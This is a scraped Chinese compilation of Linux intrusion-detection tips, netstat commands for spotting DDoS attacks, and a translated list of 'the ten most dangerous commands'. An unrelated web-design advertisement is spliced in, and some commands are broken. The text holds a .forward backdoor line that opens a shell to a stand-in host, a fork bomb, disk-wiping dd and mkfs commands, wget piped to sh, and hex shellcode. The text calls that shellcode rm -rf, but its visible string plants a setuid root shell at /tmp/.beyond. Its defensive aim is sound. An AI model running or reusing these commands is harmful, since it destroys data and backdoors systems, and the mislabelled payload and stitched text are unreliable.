這個(gè)涉及到入侵檢測(cè)類
企業(yè)建站必須是能夠以充分展現(xiàn)企業(yè)形象為主要目的,是企業(yè)文化與產(chǎn)品對(duì)外擴(kuò)展宣傳的重要窗口,一個(gè)合格的網(wǎng)站不僅僅能為公司帶來巨大的互聯(lián)網(wǎng)上的收集和信息發(fā)布平臺(tái),成都創(chuàng)新互聯(lián)面向各種領(lǐng)域:成都柴油發(fā)電機(jī)等成都網(wǎng)站設(shè)計(jì)、全網(wǎng)整合營(yíng)銷推廣解決方案、網(wǎng)站設(shè)計(jì)等建站排名服務(wù)。
如果木馬是潛伏期,比較復(fù)雜,一時(shí)半會(huì)給你講不清楚
如果木馬是活動(dòng)期,正在大流量發(fā)包,
方法如下
1、iptraf -f,然后 選?IP traffic monitor??
指定你的網(wǎng)卡
會(huì)看到很多對(duì)應(yīng)關(guān)系,這樣就可以找到發(fā)包最大的IP對(duì)應(yīng)關(guān)系出來
2、netstat -tuanp |grep 大流量ip ,會(huì)得到對(duì)應(yīng)進(jìn)程
3、iptables限制其出網(wǎng)
4、kill并刪除對(duì)應(yīng)進(jìn)程,然后查看/etc/rc.d 有沒有被注東西,包括chkconfig等,所有系統(tǒng)自起的全看看,,詳細(xì)的可以查詢一下入侵檢測(cè)部分時(shí)間有限不一 一說了
很多時(shí)候我們會(huì)遇到服務(wù)器遭受 cc 或 syn 等攻擊,如果發(fā)現(xiàn)自己的網(wǎng)站訪問異常緩慢且流量異常??梢允褂孟到y(tǒng)內(nèi)置 netstat 命令 簡(jiǎn)單判斷一下服務(wù)器是否被攻擊。常用的 netstat 命令
該命令將顯示所有活動(dòng)的網(wǎng)絡(luò)連接。
查看同時(shí)連接到哪個(gè)服務(wù)器 IP 比較多,cc 攻擊用。使用雙網(wǎng)卡或多網(wǎng)卡可用。
查看哪些 IP 連接到服務(wù)器連接多,可以查看連接異常 IP。
顯示所有 80 端口的網(wǎng)絡(luò)連接并排序。這里的 80 端口是 http 端口,所以可以用來監(jiān)控 web 服務(wù)。如果看到同一個(gè) IP 有大量連接的話就可以判定單點(diǎn)流量攻擊了。
這個(gè)命令可以查找出當(dāng)前服務(wù)器有多少個(gè)活動(dòng)的 SYNC_REC 連接。正常來說這個(gè)值很小,最好小于 5。 當(dāng)有 Dos 攻擊或的時(shí)候,這個(gè)值相當(dāng)?shù)母?。但是有些并發(fā)很高的服務(wù)器,這個(gè)值確實(shí)是很高,因此很高并不能說明一定被攻擊。
列出所有連接過的 IP 地址。
列出所有發(fā)送 SYN_REC 連接節(jié)點(diǎn)的 IP 地址。
使用 netstat 命令計(jì)算每個(gè)主機(jī)連接到本機(jī)的連接數(shù)。
列出所有連接到本機(jī)的 UDP 或者 TCP 連接的 IP 數(shù)量。
檢查 ESTABLISHED 連接并且列出每個(gè) IP 地址的連接數(shù)量。
列出所有連接到本機(jī) 80 端口的 IP 地址和其連接數(shù)。80 端口一般是用來處理 HTTP 網(wǎng)頁請(qǐng)求。
顯示連接 80 端口前 10 的 ip,并顯示每個(gè) IP 的連接數(shù)。這里的 80 端口是 http 端口,所以可以用來監(jiān)控 web 服務(wù)。如果看到同一個(gè) IP 有大量連接的話就可以判定單點(diǎn)流量攻擊了。
1、檢查系統(tǒng)密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權(quán)用戶,系統(tǒng)中uid為0的用戶都會(huì)被顯示出來。
1
awk –F:’$3==0?{print?$1}’?/etc/passwd
順便再檢查一下系統(tǒng)里有沒有空口令帳戶:
1
awk –F: ‘length($2)==0?{print?$1}’?/etc/shadow
2、查看一下進(jìn)程,看看有沒有奇怪的進(jìn)程
重點(diǎn)查看進(jìn)程:ps –aef | grep inetd
inetd是UNIX系統(tǒng)的守護(hù)進(jìn)程,正常的inetd的pid都比較靠前,如果你看到輸出了一個(gè)類似inetd –s /tmp/.xxx之類的進(jìn)程,著重看inetd –s后面的內(nèi)容。在正常情況下,LINUX系統(tǒng)中的inetd服務(wù)后面是沒有-s參數(shù)的,當(dāng)然也沒有用inetd去啟動(dòng)某個(gè)文件;而solaris系統(tǒng)中也僅僅是inetd –s,同樣沒有用inetd去啟動(dòng)某個(gè)特定的文件;如果你使用ps命令看到inetd啟動(dòng)了某個(gè)文件,而你自己又沒有用inetd啟動(dòng)這個(gè)文件,那就說明已經(jīng)有人入侵了你的系統(tǒng),并且以root權(quán)限起了一個(gè)簡(jiǎn)單的后門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進(jìn)程。一旦發(fā)現(xiàn)異樣的進(jìn)程,經(jīng)檢查為入侵者留下的后門程序,立即運(yùn)行kill –9 pid 開殺死該進(jìn)程,然后再運(yùn)行ps –aef查看該進(jìn)程是否被殺死;一旦此類進(jìn)程出現(xiàn)殺死以后又重新啟動(dòng)的現(xiàn)象,則證明系統(tǒng)被人放置了自動(dòng)啟動(dòng)程序的腳本。這個(gè)時(shí)候要進(jìn)行仔細(xì)查找:find / -name 程序名 –print,假設(shè)系統(tǒng)真的被入侵者放置了后門,根據(jù)找到的程序所在的目錄,會(huì)找到很多有趣的東東J
UNIX下隱藏進(jìn)程有的時(shí)候通過替換ps文件來做,檢測(cè)這種方法涉及到檢查文件完整性,稍后我們?cè)儆懻撨@種方法。
接下來根據(jù)找到入侵者在服務(wù)器上的文件目錄,一步一步進(jìn)行追蹤。
3、檢查系統(tǒng)守護(hù)進(jìn)程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v “^#”,輸出的信息就是你這臺(tái)機(jī)器所開啟的遠(yuǎn)程服務(wù)。
一般入侵者可以通過直接替換in.xxx程序來創(chuàng)建一個(gè)后門,比如用/bin/sh 替換掉in.telnetd,然后重新啟動(dòng)inetd服務(wù),那么telnet到服務(wù)器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個(gè)rootshell。
4、檢查網(wǎng)絡(luò)連接和監(jiān)聽端口
輸入netstat -an,列出本機(jī)所有的連接和監(jiān)聽的端口,查看有沒有非法連接。
輸入netstat –rn,查看本機(jī)的路由、網(wǎng)關(guān)設(shè)置是否正確。
輸入 ifconfig –a,查看網(wǎng)卡設(shè)置。
5、檢查系統(tǒng)日志
命令last | more查看在正常情況下登錄到本機(jī)的所有用戶的歷史記錄。但last命令依賴于syslog進(jìn)程,這已經(jīng)成為入侵者攻擊的重要目標(biāo)。入侵者通常會(huì)停止系統(tǒng)的syslog,查看系統(tǒng)syslog進(jìn)程的情況,判斷syslog上次啟動(dòng)的時(shí)間是否正常,因?yàn)閟yslog是以root身份執(zhí)行的,如果發(fā)現(xiàn)syslog被非法動(dòng)過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時(shí)間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統(tǒng)中的core文件
通過發(fā)送畸形請(qǐng)求來攻擊服務(wù)器的某一服務(wù)來入侵系統(tǒng)是一種常規(guī)的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它并不能100%保證成功入侵系統(tǒng),而且通常會(huì)在服務(wù)器相應(yīng)目錄下產(chǎn)生core文件,全局查找系統(tǒng)中的core文件,輸入find / -name core –exec ls –l {} \; 依據(jù)core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的后門文件,如果想檢查你的系統(tǒng)是否被入侵者安裝了后門,不妨全局查找這兩個(gè)文件:
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個(gè)+號(hào)是非常危險(xiǎn)的,如果你的系統(tǒng)上開了513端口(rlogin端口,和telnet作用相同),那么任意是誰都可以用這個(gè)用戶登錄到你的系統(tǒng)上而不需要任何驗(yàn)證。
看到這里如果想要深入的做安全加固服務(wù)以及安全部署
就必須找專業(yè)做服務(wù)器的安全公司來處理了國(guó)內(nèi)也就Sine安全和綠盟比較專業(yè)提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設(shè)置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統(tǒng)的mail的別名文件(通常位于/etc/aliases). 注意這只是一種簡(jiǎn)單的變換. 更為高級(jí)的能夠從.forward中運(yùn)行簡(jiǎn)單腳本實(shí)現(xiàn)在標(biāo)準(zhǔn)輸入執(zhí)行任意命令(小部分預(yù)處理后).利用smrsh可以有效的制止這種后門(雖然如果允許可以自運(yùn)行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統(tǒng)下,如果你運(yùn)行如下命令:
ln -s /var/mail/luser ~/.forward
然后設(shè)置vacation有效,那么/var/mail/luser就會(huì)被拷貝到~/.forward,同時(shí)會(huì)附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個(gè)文件也可以。
8、檢查系統(tǒng)文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡(jiǎn)單,但還是有一定的實(shí)用性。但是如果ls文件都已經(jīng)被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國(guó)家查詢的結(jié)果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統(tǒng)中,/bin/login是被入侵者經(jīng)常替換作為后門的文件,接下來談一下login后門 :
UNIX里,Login程序通常用來對(duì)telnet來的用戶進(jìn)行口令驗(yàn)證。入侵者獲取login的源代碼并修改,使它在比較輸入口令與存儲(chǔ)口令時(shí)先檢查后門口令。如果用戶敲入后門口令,它將忽視管理員設(shè)置的口令讓你長(zhǎng)驅(qū)直入:這將允許入侵者進(jìn)入任何賬號(hào),甚至是root目錄。由于后門口令是在用戶真實(shí)登錄并被日志記錄到utmp和wtmP前產(chǎn)生的一個(gè)訪問,所以入侵者可以登錄獲取shell卻不會(huì)暴露該賬號(hào)。管理員注意到這種后門后,使用”strings”命令搜索login程序以尋找文本信息。許多情況下后門口令會(huì)原形畢露。入侵者又會(huì)開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗(yàn)和檢測(cè)這種后門。UNIX系統(tǒng)中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進(jìn)制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護(hù)進(jìn)程,對(duì)于守護(hù)進(jìn)程配置文件inetd.conf中沒有被注釋掉的行要進(jìn)行仔細(xì)比較,舉個(gè)簡(jiǎn)單的例子,如果你開放了telnet服務(wù),守護(hù)進(jìn)程配置文件中就會(huì)有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護(hù)進(jìn)程中允許的服務(wù)文件來為自己創(chuàng)建一個(gè)后門。
LINUX系統(tǒng)中的/etc/crontab也是經(jīng)常被入侵者利用的一個(gè)文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細(xì)閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進(jìn)程來啟動(dòng)后門的方法有一個(gè)缺陷,即系統(tǒng)一旦重新啟動(dòng),這個(gè)進(jìn)程就被殺死了,所以得讓這個(gè)后門在系統(tǒng)啟動(dòng)的時(shí)候也啟動(dòng)起來。通常通過檢查/etc/rc.d下的文件來查看系統(tǒng)啟動(dòng)的時(shí)候是不是帶有后門程序;這個(gè)方法怎么有點(diǎn)象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發(fā)現(xiàn)有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個(gè)表明任何用戶進(jìn)來以后運(yùn)行這個(gè)文件都可以獲得一個(gè)rootshell,這就是setuid文件。運(yùn)行 find –perm 4000 –print對(duì)此類文件進(jìn)行全局查找,然后刪除這樣的文件。
9、檢查內(nèi)核級(jí)后門
如果你的系統(tǒng)被人安裝了這種后門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統(tǒng)算了J,言歸正傳,首先,檢查系統(tǒng)加載的模塊,在LINUX系統(tǒng)下使用lsmod命令,在solaris系統(tǒng)下使用modinfo命令來查看。這里需要說明的是,一般默認(rèn)安裝的LINUX加載的模塊都比較少,通常就是網(wǎng)卡的驅(qū)動(dòng);而solaris下就很多,沒別的辦法,只有一條一條地去分析。對(duì)內(nèi)核進(jìn)行加固后,應(yīng)禁止插入或刪除模塊,從而保護(hù)系統(tǒng)的安全,否則入侵者將有可能再次對(duì)系統(tǒng)調(diào)用進(jìn)行替換。我們可以通過替換create_module()和delete_module()來達(dá)到上述目的。另外,對(duì)這個(gè)內(nèi)核進(jìn)行加固模塊時(shí)應(yīng)盡早進(jìn)行,以防系統(tǒng)調(diào)用已經(jīng)被入侵者替換。如果系統(tǒng)被加載了后門模塊,但是在模塊列表/proc/module里又看不到它們,有可能是使用了hack工具來移除加載的模塊,大名鼎鼎的knark工具包就有移除加載模塊的工具。出現(xiàn)這種情況,需要仔細(xì)查找/proc目錄,根據(jù)查找到的文件和經(jīng)驗(yàn)來判斷被隱藏和偽裝的進(jìn)程。Knark后門模塊就在/proc/knark目錄,當(dāng)然可能這個(gè)目錄是隱藏的。
服務(wù)器出現(xiàn)緩慢的狀況可能由很多事情導(dǎo)致,比如錯(cuò)誤的配置,腳本和差的硬件。但是有時(shí)候它可能因?yàn)橛腥藢?duì)你的服務(wù)器用DoS或者DDoS進(jìn)行洪水攻擊。
如何在Linux上使用netstat命令查證DDOS攻擊
DoS攻擊或者DDoS攻擊是試圖讓機(jī)器或者網(wǎng)絡(luò)資源不可用的攻擊。這種攻擊的攻擊目標(biāo)網(wǎng)站或者服務(wù)通常是托管在高防服務(wù)器比如銀行,信用卡支付網(wǎng)管,甚至根域名服務(wù)器,DOS攻擊的實(shí)施通常迫使目標(biāo)重啟計(jì)算機(jī)或者消耗資源,使他們不再提供服務(wù)或者妨礙用戶,訪客訪問。
在這篇小文章中,你可以知道在受到攻擊之后如何在終端中使用netstat命令檢查你的服務(wù)器。
一些例子和解釋
netstat -na顯示所有連接到服務(wù)器的活躍的網(wǎng)絡(luò)連接netstat -an | grep :80 | sort只顯示連接到80段口的活躍的網(wǎng)絡(luò)連接,80是http端口,這對(duì)于web服務(wù)器非常有用,并且對(duì)結(jié)果排序.對(duì)于你從許多的連接中找出單個(gè)發(fā)動(dòng)洪水攻擊IP非常有用netstat -n -p|grep SYN_REC | wc -l這個(gè)命令對(duì)于在服務(wù)器上找出活躍的SYNC_REC非常有用,數(shù)量應(yīng)該很低,最好少于5.在dos攻擊和郵件炸彈,這個(gè)數(shù)字可能非常高.然而值通常依賴于系統(tǒng),所以高的值可能平分給另外的服務(wù)器.netstat -n -p | grep SYN_REC | sort -u列出所有包含的IP地址而不僅僅是計(jì)數(shù).netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'列出所有不同的IP地址節(jié)點(diǎn)發(fā)送SYN_REC的連接狀態(tài)netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n使用netstat命令來計(jì)算每個(gè)IP地址對(duì)服務(wù)器的連接數(shù)量netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n列出使用tcp和udp連接到服務(wù)器的數(shù)目netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr檢查ESTABLISHED連接而不是所有連接,這可以每個(gè)ip的連接數(shù)netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1顯示并且列出連接到80端口IP地址和連接數(shù).80被用來作為HTTP
如何緩解DDoS攻擊
當(dāng)你發(fā)現(xiàn)攻擊你服務(wù)器的IP你可以使用下面的命令來關(guān)閉他們的連接:
iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT
請(qǐng)注意你必須用你使用netstat命令找到的IP數(shù)替換$IPADRESS
在完成以上的命令,使用下面的命令殺掉所有httpd連接,清除你的系統(tǒng),然后重啟httpd服務(wù)。
killall -KILL httpd service httpd start #For Red Hat systems /etc/init/d/apache2 restar
Linux系統(tǒng)用netstat命令查看DDOS攻擊具體命令用法如下:
代碼如下:netstat -na
顯示所有連接到服務(wù)器的活躍的網(wǎng)絡(luò)連接
代碼如下:netstat -an | grep :80 | sort
只顯示連接到80段口的活躍的網(wǎng)絡(luò)連接,80是http端口,這對(duì)于web服務(wù)器非常有用,并且對(duì)結(jié)果排序.對(duì)于你從許多的連接中找出單個(gè)發(fā)動(dòng)洪水攻擊IP非常有用
代碼如下:netstat -n -p|grep SYN_REC | wc -l
這個(gè)命令對(duì)于在服務(wù)器上找出活躍的SYNC_REC非常有用,數(shù)量應(yīng)該很低,最好少于5.
在dos攻擊和郵件炸彈,這個(gè)數(shù)字可能非常高.然而值通常依賴于系統(tǒng),所以高的值可能平分給另外的服務(wù)器.
代碼如下:netstat -n -p | grep SYN_REC | sort -u
列出所有包含的IP地址而不僅僅是計(jì)數(shù).
代碼如下:netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
列出所有不同的IP地址節(jié)點(diǎn)發(fā)送SYN_REC的連接狀態(tài)
代碼如下:netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
使用netstat命令來計(jì)算每個(gè)IP地址對(duì)服務(wù)器的連接數(shù)量
代碼如下:netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
列出使用tcp和udp連接到服務(wù)器的數(shù)目
代碼如下:netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
檢查ESTABLISHED連接而不是所有連接,這可以每個(gè)ip的連接數(shù)
代碼如下:netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
顯示并且列出連接到80端口IP地址和連接數(shù).80被用來作為HTTP
如何緩解ddos攻擊
當(dāng)你發(fā)現(xiàn)攻擊你服務(wù)器的IP你可以使用下面的命令來關(guān)閉他們的連接:
代碼如下:iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT
請(qǐng)注意你必須用你使用netstat命令找到的IP數(shù)替換$IPADRESS
Linux中最危險(xiǎn)的10個(gè)命令
對(duì)于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時(shí)候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時(shí)候。下面我就為大家盤點(diǎn)最危險(xiǎn)是10個(gè)命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù) 只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動(dòng)到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動(dòng)器)會(huì)被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似 “xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過,用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。
;